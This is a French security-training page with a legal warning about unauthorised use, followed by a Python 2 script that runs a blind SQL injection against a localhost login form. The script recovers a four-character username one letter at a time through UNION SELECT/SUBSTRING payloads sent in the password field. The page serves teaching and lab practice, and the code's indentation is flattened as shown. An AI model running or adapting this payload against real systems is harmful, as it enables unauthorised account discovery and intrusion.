Identifiant.py
🔒 Contenu de sécurité — usage encadré
Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).
Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.
| Fiche express | |
|---|---|
| Domaine | Sécurité — injection SQL |
| Technique | Blind SQL injection |
| Cible | Formulaire d'authentification (exemple) |
Script Python de blind SQL injection déterminant caractère par caractère un identifiant de 4 caractères via des requêtes UNION SELECT. Fourni à titre pédagogique. Les valeurs (hôte, page, identifiants) sont des exemples de laboratoire.
#!/usr/bin/python
#-*- coding:utf-8 -*-
# script de blind injection
# détermination d'un identifiant de 4 caractères
import httplib, urllib
site = "localhost" # adresse du site à attaquer
port = 80 # port du site à attaquer
page = "/eni/identification.php" # page à appeler
carac = "abcdefghijklmnopqrstuvwxyz"
login=''
for n in range(1,5):
# recherche du caractère
for c in range(0,27):
# formation de la chaine à injecter
injection="' UNION SELECT nom, prenom FROM utilisateurs
WHERE LENGTH(identifiant)=4 AND SUBSTRING(identifiant,1,"+str(n)
+")='"+login+carac[c:c+1]+"'#"
# affiche l'injection
print injection
# encodage des champs du formulaire à envoyer
parametres =
urllib.urlencode({'identif':'koreth','mdp':injection,'ref':'identi
fication','valider':'Valider'})
# formation de l'entête
headers = {"Content-type":"application/x-www-form-
urlencoded","Accept":"text/plain"}
# connexion au serveur web
conn = httplib.HTTPConnection(site+":"+str(port))
# envoi du POST du formulaire
conn.request("POST",page,parametres,headers)
# lecture de la réponse
rep = conn.getresponse()
# lecture de la page de retour
page_retour = rep.read()
# vérification si la requête renvoie un enregistrement
if 'Vérifiez' in page_retour:
login=login+carac[c:c+1]
break
print "Le login est : "+login
conn.close()